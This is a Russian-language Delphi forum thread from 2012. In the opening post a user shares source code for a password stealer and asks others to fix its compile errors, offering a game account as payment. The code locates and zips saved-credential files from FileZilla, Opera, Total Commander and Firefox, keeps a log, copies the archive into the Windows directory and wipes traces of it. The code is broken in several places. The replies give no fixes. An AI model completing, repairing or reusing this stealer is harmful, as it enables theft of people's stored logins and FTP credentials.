|
Вопрос по устранению ошибок - Вопросы и ответы, обсуждения - Ваши вопросы по Pascal/Delphi только в данном разделе |
05.04.2012, 22:33
|
#1
|
|
|
|
Разведчик
|
Регистрация: 18.11.2010
Сообщений: 32
Популярность: 161
Сказал(а) спасибо: 88
Поблагодарили 89 раз(а) в 26 сообщениях
|
Вопрос по устранению ошибок
Код:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, ZipMstr, ShlObj;
type
TForm1 = class(TForm)
tmr1: TTimer;
ZipMaster1: TZipMaster;
procedure TTimer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure WipeFile(FileName: string);
var
buffer: array [0..4095] of Byte;
max, n: LongInt;
i: Integer;
fs: TFileStream;
procedure RandomizeBuffer;
var
i: Integer;
begin
for i := Low(buffer) to High(buffer) do
buffer[i] := Random(256);
end;
begin
fs := TFilestream.Create(FileName, fmOpenReadWrite or fmShareExclusive);
try
for i := 1 to 3 do
begin
RandomizeBuffer;
max := fs.Size;
fs.Position := 0;
while max > 0 do
begin
if max > SizeOf(buffer) then
n := SizeOf(buffer)
else
n := max;
fs.Write(Buffer, n);
max := max - n;
end;
FlushFileBuffers(fs.Handle);
end;
finally
fs.Free;
end;
Deletefile(FileName);
end;
//Application Data
function GetAppDataPath:string;
var
ppID: PItemIdList;
szBuff: array[0..255] of Char;
begin
if SHGetSpecialFolderLocation(0, CSIDL_APPDATA, ppID) = NOERROR then
begin
SHGetPathFromIDList(ppID, szBuff);
Result := szBuff;
end;
end;
//??? ????????? ??? ????? ???????...
var
id:integer;
ss, WinDir:string;
opentxt, log: TStringList;
WindirP: PChar;
begin
WinDirP := StrAlloc(MAX_PATH);
Res := GetWindowsDirectory(WinDirP, MAX_PATH);
if Res > 0 then
WinDir := StrPas(WinDirP);
log:= TStringList.Create;
opentxt:= TStringList.Create;
log.Add('['+timetostr(time)+'] - Èäåò ïîèñê ïàðîëåé');
id:=RandomPassword(6);
TZipMaster.ZipFileName:='report_('+datetostr(date)+')_'+id+'.zip';
log.Add('['+timetostr(time)+'] - Ãåíåðàöèÿ èìåíè');
log.Add('');
begin
//FileZila
if FileExists(GetAppDataPath+'\FileZilla\sitemanager.xml') or FileExists('C:\Documents and Settings\TRIALANET\Application Data\FileZilla\recentservers.xml')
then
begin
log.Add('['+timetostr(time)+'] - FileZilla: OK!');
TZipMaster.FSpecArgs.Add(GetAppDataPath+'\FileZilla\sitemanager.xml');
TZipMaster.FSpecArgs.Add(GetAppDataPath+'\FileZilla\recentservers.xml');
end
else
log.Add('['+timetostr(time)+'] - FileZilla(Îøèáêà): Ôàéë íåíàéäåí!');
end;
log.Add('');
begin
//Opera
if FileExists(GetAppDataPath+'\Opera\Opera\wand.dat')
then
begin
log.Add('['+timetostr(time)+'] - Opera: OK!');
TZipMaster.FSpecArgs.Add(GetAppDataPath+'\Opera\Opera\wand.dat');
end
else
log.Add('['+timetostr(time)+'] - Opera(Îøèáêà): Ôàéë íåíàéäåí!');
end;
log.Add('');
begin
//Total Commander
if FileExists('C:\Program Files\Total Commander\wcx_ftp.ini')
then
begin
log.Add('['+timetostr(time)+'] - Total Commander: OK!');
TZipMaster.FSpecArgs.Add('C:\Program Files\Total Commander\wcx_ftp.ini');
end
else
log.Add('['+timetostr(time)+'] - Total Commander(Îøèáêà): Ôàéë íåíàéäåí!');
end;
log.Add('');
begin
//FireFox
if FileExists(GetAppDataPath+'\Mozilla\Firefox\profiles.ini')
then
begin
opentxt.LoadFromFile(GetAppDataPath+'\Mozilla\Firefox\profiles.ini');
ss:=opentxt.Text;
Delete(ss,1,pos('Path=',ss)+length('Path=')-1);
Delete(ss,pos('default',ss),length(ss));
log.Add('['+timetostr(time)+'] - Firefox: OK!');
TZipMaster.FSpecArgs.Add(GetAppDataPath+'/Mozilla/Firefox/'+ss+'default/signons.sqlite');
TZipMaster.FSpecArgs.Add(GetAppDataPath+'\Mozilla\Firefox\'+ss+'default\key3.db');
end
else
log.Add('['+timetostr(time)+'] - Firefox(Îøèáêà): Ôàéë íåíàéäåí!');
end;
end
log.SaveToFile(GetAppDataPath+'\log_'+id+'.log'+);
ZipMaster1.FSpecArgs.Add(GetAppDataPath+'\log_'+id+'.log');
ZipMaster1.Add;
WindowsCopyFile(ZipMaster1.ZipFileName, WinDir);
WipeFile(ZipMaster1.ZipFileName);
procedure TForm1.TTimer(Sender: TObject);
begin
Application.MainForm.Visible := True;
if IsWindowVisible(Application.Handle) then
ShowWindow(Application.Handle, SW_SHOW);
end;
end.
Помогите устранить ошибки:
|
Цитата: |
|
|
|
|
|
|
|
|
[Warning] Unit1.pas(84): Unsafe type 'PChar'
[Warning] Unit1.pas(87): Unsafe type 'WindirP: PAnsiChar'
[Error] Unit1.pas(88): Undeclared identifier: 'Res'
[Warning] Unit1.pas(88): Unsafe type 'WindirP: PAnsiChar'
[Warning] Unit1.pas(89): Comparing signed and unsigned types - widened both operands
[Warning] Unit1.pas(90): Unsafe type 'WindirP: PAnsiChar'
[Error] Unit1.pas(96): Undeclared identifier: 'RandomPassword'
[Error] Unit1.pas(97): Method identifier expected
[Error] Unit1.pas(97): Incompatible types: 'String' and 'Integer'
[Error] Unit1.pas(109): Method identifier expected
[Error] Unit1.pas(110): Method identifier expected
[Error] Unit1.pas(124): Method identifier expected
[Error] Unit1.pas(138): Method identifier expected
[Error] Unit1.pas(156): Method identifier expected
[Error] Unit1.pas(157): Method identifier expected
[Error] Unit1.pas(165): '.' expected but identifier 'log' found
[Fatal Error] Project1.dpr(5): Could not compile used unit 'Unit1.pas' |
|
|
|
|
|
Буду очень благодарен, кто устранит все ошибки. Могу отдать аккаунт в Point Blank 1 ромб 2 года
Ответ попрошу написать или в теме, или в скайп prizrak71rus
P.S. На иероглифы типа Total Commander(Îøèáêà): Ôàéë íåíàéäåí! и т.п. не обращять внимание, т.к. в коде все нормально.
Просто сюда скопировалось как-то неочень
Последний раз редактировалось basket71; 05.04.2012 в 22:35.
|
|
|
05.04.2012, 22:59
|
#2
|
|
|
|
Пехотинец
|
Регистрация: 23.03.2012
Сообщений: 83
Популярность: 908
Сказал(а) спасибо: 102
Поблагодарили 144 раз(а) в 61 сообщениях
|
Re: Вопрос по устранению ошибок
|
|
|
05.04.2012, 23:05
|
#3
|
|
|
|
Лейтенант-командор
|
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
|
Re: Вопрос по устранению ошибок
basket71, ты хоть бы строки, на которых ошибки выбивают, дал
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.
Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.
|
|
|
06.04.2012, 06:33
|
#4
|
|
|
|
Разведчик
|
Регистрация: 19.02.2012
Сообщений: 36
Популярность: 447
Сказал(а) спасибо: 25
Поблагодарили 50 раз(а) в 40 сообщениях
|
Re: Вопрос по устранению ошибок
В гугле целый ряд тем, где обсуждают эти ошибки...
|
|
|
Ваши права в разделе
|
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения
HTML код Выкл.
|
|
|
Похожие темы
|
Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
[Руководство] Мануал по устранению ошибки.
|
194451027 |
Вопросы и ответы, обсуждения |
0 |
03.04.2012 22:35 |
Заявление об ответственности / Список мошенников
Часовой пояс GMT +4, время: 19:37.
|
|